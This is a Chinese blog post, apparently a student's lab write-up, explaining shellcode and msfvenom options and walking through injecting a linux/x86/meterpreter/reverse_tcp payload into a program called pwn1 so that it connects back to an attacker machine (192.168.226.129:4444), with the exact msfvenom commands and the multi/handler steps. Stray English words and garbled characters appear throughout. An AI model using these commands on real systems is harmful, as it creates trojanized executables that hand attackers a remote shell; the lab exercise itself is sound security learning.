Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。由于Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,而且ShellCode负责把程序的流程最终转移到你的Payload代码中。因此对于一个漏洞来讲,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你能够在这个ShellCode中包含你须要的Payload来作一些事情。html
给个中文版的msfvenom的命令行选项:linux
Options: -p, --payload <payload> 指定须要使用的payload(攻击荷载)。若是须要使用自定义的payload,请使用'-'或者stdin指定 -l, --list [module_type] 列出指定模块的全部可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定须要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,好比: '\x00\xff' -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件做为模板 -k, --keep 保护模板程序的动做,注入的payload做为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以肯定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
首先咱们用到的第一个选项是-l,查看全部msf可用的payload列表。里面有526种payload,咱们须要的payload功能是获取反弹链接shell。shell
想要找到可用的payload首先要知道靶机的版本。在网上找方法查了一下,我开的另一台kali靶机是64位。对应linux64位可用的payload有这些。windows
根据这些payload的功能描述,找出咱们须要的payload,使用-p指定。给你们翻译了一下这些描述啥意思,以下:架构
- execute an arbitrary command 执行一个任意命令 - Inject the mettle server payload(staged).Listen to a connection. 注入mettle server payload,监听等待一个链接。 - Inject the mettle server payload(staged).Connect back to a connection. 注入mettle server payload,反弹链接一个链接。 - run the meterpreter /Mettle server payload (stageless) 运行meterpreter或者Mettle server payload - spawn a command shell.Listen to a connection. 产生一个shell,等待链接。 - spawn a command shell.Connect back to a connection. 产生一个shell,反弹链接一个链接。 - Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. 在一个随机端口监听一个链接,并产生一个shell。 - Spawn a shell on an established connection 在已经存在的链接上产生一个shell - Connect back to attacker and spawn a command shell 反弹链接攻击者,并产生一个shell。
很显然咱们选择最后一个,linux/x64/shell_reverse_tcp.框架
选定了payload,咱们须要给它写一些什么参数呢?用这个指令查看less
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
基础参数就两个LHOST和LPORT。跟在payloa后面设置一下就能够了。dom
选好了payload,接下来咱们-f选payload的输出格式。用这个指令能够查看payload有哪些输出格式。tcp
msfvenom --help-formats
发现有不少:
post
咱们的目标是注入到pwn1里去,固然选择ELF格式了!
还能够用-e选择编码器和-i迭代编码的次数。用这个指令查看可用的编码方式。
msfvenom -l encoders
但ELF文件的编码方式应该是机器无关的,不用选这个选项。
最后呢,固然是要用-x参数指定咱们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中。
因此,最终咱们的指令是
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
而后把咱们毒化的pwn2,复制到靶机里。
打开攻击方的msfconsole,加载exploit/multi/handler模块,设置参数,最后一个exploit指令!攻击!
可是一切彷佛不如人意,我在靶机上运行了pwn2,控制机没有任何反应……
而后又在网上找了这篇文章msfvenom生成各种Payload命令,里面说linux里指令要这样写
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
对比以后,我意识到,虽然linux系统是64位,但pwn1是个32位程序啊!因此仍是用x86下面的payload。
最终的指令是这样的:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
再怀着忐忑和激动的心情去测试了一下pwn3,就发现成功了!
作了一天才成功,找了不少乱七八糟的资料,主要有用的参考资料以下:
Meatsploit Framework msfvenom使用简介